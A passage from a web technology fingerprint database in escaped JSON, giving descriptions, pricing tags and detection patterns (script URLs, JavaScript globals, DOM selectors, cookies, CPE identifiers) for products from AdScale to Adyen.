},\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adscale\\\\.com/\"\n    ],\n    \"website\": \"https://www.adscale.com\"\n  },\n  \"AdThrive\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"AdThrive is an online advertising network aka ad provider for bloggers for blog monetisation.\",\n    \"icon\": \"AdThrive.png\",\n    \"js\": {\n      \"adthrive\": \"\",\n      \"adthriveVideosInjected\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ads\\\\.adthrive\\\\.com\"\n    ],\n    \"website\": \"https://www.adthrive.com\"\n  },\n  \"Ada\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Ada is an automated customer experience company that provides chat bots used in customer support.\",\n    \"icon\": \"Ada.svg\",\n    \"js\": {\n      \"__AdaEmbedConstructor\": \"\",\n      \"adaEmbed\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ada\\\\.support\"\n    ],\n    \"website\": \"https://www.ada.cx\"\n  },\n  \"AdaSiteCompliance\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"AdaSiteCompliance is a web accessibility solution, making websites compliant and accessible to WCAG 2.1 and section 508 compliance standards.\",\n    \"icon\": \"AdaSiteCompliance.svg\",\n    \"js\": {\n      \"ADASTOOLBOXAPPSTATE\": \"\",\n      \"adascHelper\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"high\"\n    ],\n    \"website\": \"https://adasitecompliance.com\"\n  },\n  \"Adabra\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Adabra is a SaaS omnichannel marketing automation platform to help boost sales. Adabra allows you to manage user segmentation, create workflow and campaigns through email, social, SMS and more.\",\n    \"icon\": \"Adabra.svg\",\n    \"js\": {\n      \"adabraPreview\": \"\",\n      \"adabra_version_panel\": \"(^.+$)\\\\;version:\\\\1\",\n      \"adabra_version_track\": \"(^.+$)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"track\\\\.adabra\\\\.com\"\n    ],\n    \"website\": \"https://www.adabra.com\",\n    \"xhr\": [\n      \"my\\\\.adabra\\\\.com\"\n    ]\n  },\n  \"Adally\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Adally provides real-time website accessibility solutions, including free accessibility scans and widgets, to help websites comply with ADA, WCAG 2.1, and Section 508 standards.\",\n    \"icon\": \"Adally.svg\",\n    \"scriptSrc\": [\n      \"cloudfront\\\\.net/.*/adally\\\\.js\"\n    ],\n    \"website\": \"https://adally.com\"\n  },\n  \"Adalo\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Adalo is a no-code platform enabling the creation of mobile and web applications.\",\n    \"dom\": [\n      \"link[href*='.adalo.com/static/'][rel='stylesheet']\"\n    ],\n    \"icon\": \"Adalo.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.adalo\\\\.com/\"\n    ],\n    \"website\": \"https://www.adalo.com\"\n  },\n  \"Adalyser\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Adalyser is an online platform offering the tools needed to get up and running with TV advertising.\",\n    \"icon\": \"Adalyser.svg\",\n    \"js\": {\n      \"adalyserModules\": \"\"\n    },\n    \"scriptSrc\": [\n      \"c5\\\\.adalyser\\\\.com\"\n    ],\n    \"website\": \"https://adalyser.com/\"\n  },\n  \"Adara\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Adara is a tourism advertising system.\",\n    \"icon\": \"Adara.svg\",\n    \"js\": {\n      \"adara\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adara\\\\.com/\"\n    ],\n    \"website\": \"https://adara.com\"\n  },\n  \"Adcash\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"Adcash.svg\",\n    \"js\": {\n      \"SuLoaded\": \"\",\n      \"SuUrl\": \"\",\n      \"ac_bgclick_URL\": \"\",\n      \"ct_nOpp\": \"\",\n      \"ct_nSuUrl\": \"\",\n      \"ct_siteunder\": \"\",\n      \"ct_tag\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^[^\\\\/]*//(?:[^\\\\/]+\\\\.)?adcash\\\\.com/(?:script|ad)/\"\n    ],\n    \"url\": [\n      \"^https?://(?:[^\\\\/]+\\\\.)?adcash\\\\.com/script/pop_\"\n    ],\n    \"website\": \"https://adcash.com\"\n  },\n  \"AddEvent\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"AddEvent is used to Add to Calendar and event tools for websites and newsletters.\",\n    \"icon\": \"AddEvent.svg\",\n    \"js\": {\n      \"addeventatc\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"scriptSrc\": [\n      \"//addevent\\\\.com/\"\n    ],\n    \"website\": \"https://www.addevent.com\"\n  },\n  \"AddShoppers\": {\n    \"cats\": [\n      5,\n      10\n    ],\n    \"description\": \"AddShoppers is the social media marketing command center for small-medium online retailers.\",\n    \"icon\": \"AddShoppers.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:cdn\\\\.)?shop\\\\.pe/widget/\"\n    ],\n    \"website\": \"https://www.addshoppers.com\"\n  },\n  \"AddThis\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"AddThis is a social bookmarking service that can be integrated into a website with the use of a web widget.\",\n    \"icon\": \"AddThis.svg\",\n    \"js\": {\n      \"addthis\": \"\"\n    },\n    \"scriptSrc\": [\n      \"addthis\\\\.com/js/\"\n    ],\n    \"website\": \"https://www.addthis.com\"\n  },\n  \"AddToAny\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"AddToAny is a universal sharing platform that can be integrated into a website by use of a web widget or plugin.\",\n    \"icon\": \"AddToAny.svg\",\n    \"js\": {\n      \"a2apage_init\": \"\"\n    },\n    \"scriptSrc\": [\n      \"addtoany\\\\.com/menu/page\\\\.js\"\n    ],\n    \"website\": \"https://www.addtoany.com\"\n  },\n  \"AddToAny Share Buttons\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"AddToAny Share Buttons plugin for WordPress increases traffic and engagement by helping people share your posts and pages to any service.\",\n    \"icon\": \"AddToAny.svg\",\n    \"implies\": [\n      \"AddToAny\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/add-to-any/addtoany\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/projectestac/wordpress-add-to-any\"\n  },\n  \"Addi\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Addi is a service that allows users to make purchases and pay for them in installments over time.\",\n    \"icon\": \"addi.svg\",\n    \"scriptSrc\": [\n      \"s3\\\\.amazonaws\\\\.com/widgets\\\\.addi\\\\.com/bundle\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://co.addi.com/\"\n  },\n  \"Addsearch\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Addsearch is a site search solution for small and large websites.\",\n    \"icon\": \"Addsearch.svg\",\n    \"js\": {\n      \"AddSearchClient\": \"\",\n      \"AddSearchUI\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//addsearch\\\\.com/js/\"\n    ],\n    \"website\": \"https://www.addsearch.com/\"\n  },\n  \"Adex\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Adex is a data management platform (DMP) system utilized for organizing and analyzing large volumes of data to optimize targeted advertising campaigns.\",\n    \"dom\": [\n      \"link[href*='.theadex.com']\"\n    ],\n    \"icon\": \"Adex.svg\",\n    \"js\": {\n      \"_adexc\": \"\",\n      \"adex.v\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"dmp\\\\.theadex\\\\.com/\"\n    ],\n    \"website\": \"https://theadex.com\"\n  },\n  \"Adform\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Adform is an all-in-one platform for digital advertising.\",\n    \"dom\": [\n      \"link[href*='.adformdsp.net'], link[href*='.adform.net']\"\n    ],\n    \"icon\": \"Adform.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adform\\\\.net/\"\n    ],\n    \"website\": \"https://site.adform.com\"\n  },\n  \"Adimo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Adimo is a platform that integrates content with commerce, enabling CPG brands to create a seamless ecommerce experience.\",\n    \"icon\": \"Adimo.svg\",\n    \"js\": {\n      \"Adimo\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.adimo\\\\.co/\"\n    ],\n    \"website\": \"https://www.adimo.co\"\n  },\n  \"Adition\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Adition is a provider of programmatic advertising solutions.\",\n    \"dom\": [\n      \"link[href*='.adition.com']\"\n    ],\n    \"icon\": \"Adition.svg\",\n    \"js\": {\n      \"adition\": \"\",\n      \"initialize_adition\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.adition.com\"\n  },\n  \"Adjust\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Adjust is the mobile marketing analytics platform.\",\n    \"dom\": [\n      \"div[data-adjust*='app.adjust.com/'], a[href*='app.adjust.com/'], a[href*='.adj.st/'], form[action*='app.adjust.com/']\"\n    ],\n    \"icon\": \"Adjust.svg\",\n    \"js\": {\n      \"Adjust.initSdk\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.adjust.com\"\n  },\n  \"Adline\": {\n    \"cats\": [\n      10,\n      36\n    ],\n    \"description\": \"Adline is an advertising & analytics software that helps launch multichannel ads with automatic ad optimization.\",\n    \"icon\": \"Adline.svg\",\n    \"js\": {\n      \"adlineConfig\": \"\"\n    },\n    \"pricing\": [],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"prod\\\\.api\\\\.adline\\\\.com\"\n    ],\n    \"website\": \"https://adline.com\"\n  },\n  \"Adloox\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Adloox is a European-born buy-side ad verification and insights company.\",\n    \"icon\": \"Adloox.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adlooxtracking\\\\.com/\"\n    ],\n    \"website\": \"https://www.adloox.com\"\n  },\n  \"Adminer\": {\n    \"cats\": [\n      3\n    ],\n    \"cpe\": \"cpe:2.3:a:adminer:adminer:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"Adminer</a> <span class=\\\"version\\\">([\\\\d.]+)</span>\\\\;version:\\\\1\",\n      \"onclick=\\\"bodyClick\\\\(event\\\\);\\\" onload=\\\"verifyVersion\\\\('([\\\\d.]+)'\\\\);\\\">\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Adminer.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://www.adminer.org\"\n  },\n  \"Admiral\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Admiral is a Visitor Relationship Management (VRM) platform.\",\n    \"icon\": \"Admiral.svg\",\n    \"js\": {\n      \"admiral\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"admiral(?:-engaged|:enabled)\"\n    ],\n    \"website\": \"https://www.getadmiral.com\"\n  },\n  \"Admitad\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Admitad is an affiliate network that acts as an intermediary between advertisers and publishers.\",\n    \"icon\": \"Admitad.svg\",\n    \"js\": {\n      \"ADMITAD\": \"\",\n      \"admitad\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"artfut\\\\.com/static/(?:tracking|crossdevice)\\\\.min\\\\.js\",\n      \"cdn\\\\.admitad\\\\.com\"\n    ],\n    \"website\": \"https://www.admitad.com\"\n  },\n  \"Admixer\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Admixer is an independent adtech company developing an ecosystem of full-stack programmatic solutions.\",\n    \"icon\": \"Admixer.svg\",\n    \"js\": {\n      \"admixerAds\": \"\",\n      \"admixerML\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.admixer\\\\.net/\"\n    ],\n    \"website\": \"https://admixer.com\"\n  },\n  \"Admo.tv\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Admo.tv is a company developing a TV and radio analytics platform.\",\n    \"dom\": [\n      \"link[href*='.admo.tv'], a[href*='.admo.tv'][target='_blank'], iframe[src*='.admo.tv/']\"\n    ],\n    \"icon\": \"Admo.tv.svg\",\n    \"js\": {\n      \"ADMO_TT\": \"\",\n      \"ADMO_config\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.admo.tv\"\n  },\n  \"Admost\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Admost is a full-cycle monetisation system for app publishers, featuring mediation, revenue analytics, and cross-promotion through a single SDK.\",\n    \"icon\": \"Admost.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"run\\\\.admost\\\\.com/\"\n    ],\n    \"website\": \"https://admost.com/\"\n  },\n  \"Adnegah\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Adnegah is a digital marketing and internet advertising agency.\",\n    \"dom\": [\n      \"iframe[scr*='adnegah.net']\"\n    ],\n    \"headers\": {\n      \"X-Advertising-By\": \"adnegah\\\\.net\"\n    },\n    \"icon\": \"Adnegah.png\",\n    \"scriptSrc\": [\n      \"\\\\.adnegah\\\\.net/\"\n    ],\n    \"website\": \"https://adnegah.net\"\n  },\n  \"Adobe Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Adobe Analytics is a web analytics, marketing and cross-channel analytics application.\",\n    \"icon\": \"Adobe Analytics.svg\",\n    \"js\": {\n      \"s_c_il.0._c\": \"s_c\",\n      \"s_c_il.0.constructor.name\": \"AppMeasurement\",\n      \"s_c_il.1._c\": \"s_c\",\n      \"s_c_il.1.constructor.name\": \"AppMeasurement\",\n      \"s_c_il.2._c\": \"s_c\",\n      \"s_c_il.2.constructor.name\": \"AppMeasurement\",\n      \"s_c_il.3._c\": \"s_c\",\n      \"s_c_il.3.constructor.name\": \"AppMeasurement\",\n      \"s_c_il.4._c\": \"s_c\",\n      \"s_c_il.4.constructor.name\": \"AppMeasurement\",\n      \"s_c_il.5._c\": \"s_c\",\n      \"s_c_il.5.constructor.name\": \"AppMeasurement\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.adobe.com/analytics/adobe-analytics.html\"\n  },\n  \"Adobe Audience Manager\": {\n    \"cats\": [\n      86\n    ],\n    \"cookies\": {\n      \"Demdex\": \"\",\n      \"aam_uuid\": \"\"\n    },\n    \"description\": \"Adobe Audience Manager is a versatile audience data management platform.\",\n    \"icon\": \"Adobe.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://business.adobe.com/products/audience-manager/adobe-audience-manager.html\"\n  },\n  \"Adobe Client Data Layer\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Adobe Client Data Layer is a framework of JavaScript objects on your site that contains all variable values used in your implementation.\",\n    \"icon\": \"Adobe.svg\",\n    \"js\": {\n      \"adobeDataLayer.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://github.com/adobe/adobe-client-data-layer\"\n  },\n  \"Adobe ColdFusion\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Cookie\": \"CFTOKEN=\"\n    },\n    \"html\": [\n      \"<!-- START headerTags\\\\.cfm\"\n    ],\n    \"icon\": \"Adobe ColdFusion.svg\",\n    \"implies\": [\n      \"CFML\"\n    ],\n    \"js\": {\n      \"_cfEmails\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/cfajax/\"\n    ],\n    \"url\": [\n      \"\\\\.cfm(?:$|\\\\?)\"\n    ],\n    \"website\": \"https://adobe.com/products/coldfusion-family.html\"\n  },\n  \"Adobe DTM\": {\n    \"cats\": [\n      42\n    ],\n    \"description\": \"Dynamic Tag Management (DTM) is a tag management solution for Adobe Experience Cloud applications and others.\",\n    \"icon\": \"adobedtm.png\",\n    \"js\": {\n      \"_satellite.buildDate\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://marketing.adobe.com/resources/help/en_US/dtm/c_overview.html\"\n  },\n  \"Adobe Dynamic Media Classic\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Adobe Dynamic Media Classic is a platform that enables customers to manage, enhance, publish, and deliver dynamic rich media content and personal experiences to consumers across all channels and devices, including web, print material, email campaigns, desktops, social, and mobile.\",\n    \"dom\": [\n      \"source[srcset*='.scene7.com/'], link[href*='.scene7.com']\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.scene7\\\\.com\"\n    },\n    \"icon\": \"Adobe Experience Platform.svg\",\n    \"saas\": true,\n    \"website\": \"https://business.adobe.com/uk/products/experience-manager/scene7-login.html\"\n  },\n  \"Adobe Experience Manager\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*\",\n    \"description\": \"Adobe Experience Manager (AEM) is a content management solution for building websites, mobile apps and forms.\",\n    \"dom\": [\n      \"div[class*='parbase'], div[data-component-path*='jcr:'], div[class*='aem-Grid']\"\n    ],\n    \"html\": [\n      \"<div class=\\\"[^\\\"]*parbase\",\n      \"<div[^>]+data-component-path=\\\"[^\\\"+]jcr:\",\n      \"<div class=\\\"[^\\\"]*aem-Grid\"\n    ],\n    \"icon\": \"Adobe Experience Platform.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/etc/designs/\",\n      \"/etc/clientlibs/\",\n      \"/etc\\\\.clientlibs/\"\n    ],\n    \"scripts\": [\n      \"aem-(?:GridColumn|apps/)\"\n    ],\n    \"website\": \"https://www.adobe.com/marketing/experience-manager.html\"\n  },\n  \"Adobe Experience Manager Franklin\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*\",\n    \"description\": \"Adobe Experience Manager Franklin, also known as Project Helix or Composability, is a new way to publish AEM pages using Google Drive or Microsoft Office via Sharepoint. Instead of components, Franklin uses blocks to build pages. Blocks are pieces of a document that will be transformed into web page content.\",\n    \"excludes\": [\n      \"Adobe Experience Manager\"\n    ],\n    \"icon\": \"Adobe Experience Manager Franklin.svg\",\n    \"scriptSrc\": [\n      \"^.+/scripts/lib-franklin\\\\.js$\"\n    ],\n    \"website\": \"https://www.hlx.live\"\n  },\n  \"Adobe Experience Platform Identity Service\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Adobe Experience Platform Identity Service creates identity graphs that hold customer profiles and the known identifiers that belong to individual consumers.\",\n    \"icon\": \"Adobe.svg\",\n    \"js\": {\n      \"s_c_il.0._c\": \"Visitor\",\n      \"s_c_il.1._c\": \"Visitor\",\n      \"s_c_il.2._c\": \"Visitor\",\n      \"s_c_il.3._c\": \"Visitor\",\n      \"s_c_il.4._c\": \"Visitor\",\n      \"s_c_il.5._c\": \"Visitor\"\n    },\n    \"website\": \"https://docs.adobe.com/content/help/en/id-service/using/home.html\"\n  },\n  \"Adobe Experience Platform Launch\": {\n    \"cats\": [\n      42\n    ],\n    \"description\": \"Adobe Experience Cloud Launch is an extendable tag management solution for Adobe Experience Cloud, Adobe Experience Platform, and other applications.\",\n    \"icon\": \"Adobe Experience Platform.svg\",\n    \"js\": {\n      \"_satellite.buildInfo\": \"\"\n    },\n    \"website\": \"https://docs.adobelaunch.com/getting-started\"\n  },\n  \"Adobe Flash\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:adobe:flash:*:*:*:*:*:*:*:*\",\n    \"description\": \"Adobe Flash is a multimedia software platform used for production of animations, rich web applications and embedded web browser video players.\",\n    \"dom\": [\n      \"object[type='application/x-shockwave-flash']\",\n      \"param[value*='.swf']\"\n    ],\n    \"icon\": \"Adobe Flash.svg\",\n    \"website\": \"https://www.adobe.com/products/flashplayer\"\n  },\n  \"Adobe Fonts\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Adobe Fonts is a web-based service providing access to a vast library of high-quality fonts for web and print design.\",\n    \"html\": [\n      \"<link [^>]*href=\\\"[^\\\"]+use\\\\.typekit\\\\.(?:net|com)\"\n    ],\n    \"icon\": \"Adobe Fonts.svg\",\n    \"js\": {\n      \"Typekit.config.js\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"use\\\\.typekit\\\\.com\"\n    ],\n    \"website\": \"https://fonts.adobe.com\"\n  },\n  \"Adobe GoLive\": {\n    \"cats\": [\n      20\n    ],\n    \"cpe\": \"cpe:2.3:a:adobe:golive:*:*:*:*:*:*:*:*\",\n    \"description\": \"Adobe GoLive is a WYSIWYG HTML editor and web site management application.\",\n    \"icon\": \"Adobe GoLive.png\",\n    \"meta\": {\n      \"generator\": \"Adobe GoLive(?:\\\\s([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.adobe.com/products/golive\"\n  },\n  \"Adobe Muse\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Adobe Muse is a no code offline website builder used to create fixed, fluid, or adaptive websites, without the need to write code.\",\n    \"icon\": \"AdobeMuse.svg\",\n    \"js\": {\n      \"Muse\": \"\",\n      \"museConfigLoadedAndExecuted\": \"\",\n      \"muse_init\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://helpx.adobe.com/muse/kb/adobe-muse-end-of-service.html\"\n  },\n  \"Adobe Portfolio\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Adobe Portfolio is an Adobe platform that allows you to create a web page where you can show your projects, creations, and the services you offer.\",\n    \"icon\": \"Adobe Portfolio.svg\",\n    \"meta\": {\n      \"twitter:site\": \"@AdobePortfolio\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://portfolio.adobe.com\"\n  },\n  \"Adobe RoboHelp\": {\n    \"cats\": [\n      4\n    ],\n    \"cpe\": \"cpe:2.3:a:adobe:robohelp:*:*:*:*:*:*:*:*\",\n    \"description\": \"Adobe RoboHelp is a Help Authoring Tool (HAT) that allows you to create help systems, e-learning content and knowledge bases.\",\n    \"icon\": \"Adobe RoboHelp.svg\",\n    \"js\": {\n      \"gbWhLang\": \"\",\n      \"gbWhMsg\": \"\",\n      \"gbWhProxy\": \"\",\n      \"gbWhUtil\": \"\",\n      \"gbWhVer\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Adobe RoboHelp(?: ([\\\\d]+))?\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"(?:wh(?:utils|ver|proxy|lang|topic|msg)|ehlpdhtm)\\\\.js\"\n    ],\n    \"website\": \"https://adobe.com/products/robohelp.html\"\n  },\n  \"Adobe Target\": {\n    \"cats\": [\n      74,\n      76\n    ],\n    \"description\": \"Adobe Target is an A/B testing, multi-variate testing, personalisation, and optimisation application\",\n    \"icon\": \"Adobe.svg\",\n    \"js\": {\n      \"adobe.target\": \"\",\n      \"adobe.target.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.adobe.com/marketing/target.html\"\n  },\n  \"Adomik\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Adomik is a tool that assists digital publishers in enhancing their programmatic and real-time bidding (RTB) yield management, functioning as a programmatic ad network.\",\n    \"icon\": \"Adomik.svg\",\n    \"js\": {\n      \"Adomik\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.adomik.com\"\n  },\n  \"AdonisJS\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"adonis-session\": \"\",\n      \"adonis-session-values\": \"\"\n    },\n    \"description\": \"AdonisJS is a Node.js web application framework that follows the MVC pattern, simplifying web development with features like ORM, authentication, and WebSockets.\",\n    \"dom\": [\n      \"link[href*='adonisjs.com/'][rel='canonical']\"\n    ],\n    \"icon\": \"AdonisJS.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://adonisjs.com\"\n  },\n  \"Adoric\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Adoric is a lead generation tool for personalized website engagement and conversion optimisation (CRO) platform.\",\n    \"dom\": [\n      \"link[href*='.adoric-om.com']\"\n    ],\n    \"icon\": \"Adoric.svg\",\n    \"js\": {\n      \"IS_ADORIC_LOADED\": \"\",\n      \"__adoric__\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adoric-om\\\\.com/\"\n    ],\n    \"website\": \"https://adoric.com\"\n  },\n  \"Adtribute\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Adtribute is a tool designed to track users accurately and unify data, enhancing outcomes in marketing attribution, business intelligence, and data activation.\",\n    \"icon\": \"Adtribute.svg\",\n    \"js\": {\n      \"adbq.0.referrer_url\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.adtribute.io\"\n  },\n  \"Advally\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Advally is an advertising platform for publishers.\",\n    \"icon\": \"Advally.svg\",\n    \"js\": {\n      \"advally\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.adligature\\\\.com/.+/advally-([\\\\d.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.advally.com\"\n  },\n  \"Advanced Custom Fields\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Advanced Custom Fields is a WordPress plugin which allows you to add extra content fields to your WordPress edit screens.\",\n    \"icon\": \"Advanced Custom Fields.svg\",\n    \"js\": {\n      \"acf\": \"\",\n      \"acfL10n\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/advanced-custom-fields(?:-pro)?/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.advancedcustomfields.com\"\n  },\n  \"Advert Stream\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"Advert Stream.png\",\n    \"js\": {\n      \"advst_is_above_the_fold\": \"\"\n    },\n    \"scriptSrc\": [\n      \"(?:ad\\\\.advertstream\\\\.com|adxcore\\\\.com)\"\n    ],\n    \"website\": \"https://www.advertstream.com\"\n  },\n  \"Adverticum\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Adverticum is the developer and operator of Hungary's market leading online ad serving solution, the Adverticum AdServer.\",\n    \"dom\": [\n      \"a[href*='ad.adverticum.net'], div.goAdverticum\"\n    ],\n    \"icon\": \"Adverticum.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adverticum\\\\.net/\"\n    ],\n    \"website\": \"https://adverticum.net\"\n  },\n  \"Advin\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Advin is a provider of ecommerce solutions and tailored web information systems for clients.\",\n    \"icon\": \"Advin.svg\",\n    \"meta\": {\n      \"author\": \"ADVIN \\\\[www\\\\.advin\\\\.cz\\\\]\",\n      \"http-equiv.Reply-to\": \"info\\\\(at\\\\)advin\\\\.cz\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.advin\\\\.cz/\"\n    ],\n    \"website\": \"https://www.advin.cz\"\n  },\n  \"Adyen\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Adyen allows businesses to accept ecommerce, mobile, and point-of-sale payments.\",\n    \"icon\": \"Adyen.svg\",\n    \"js\": {\n      \"adyen.encrypt.version\": 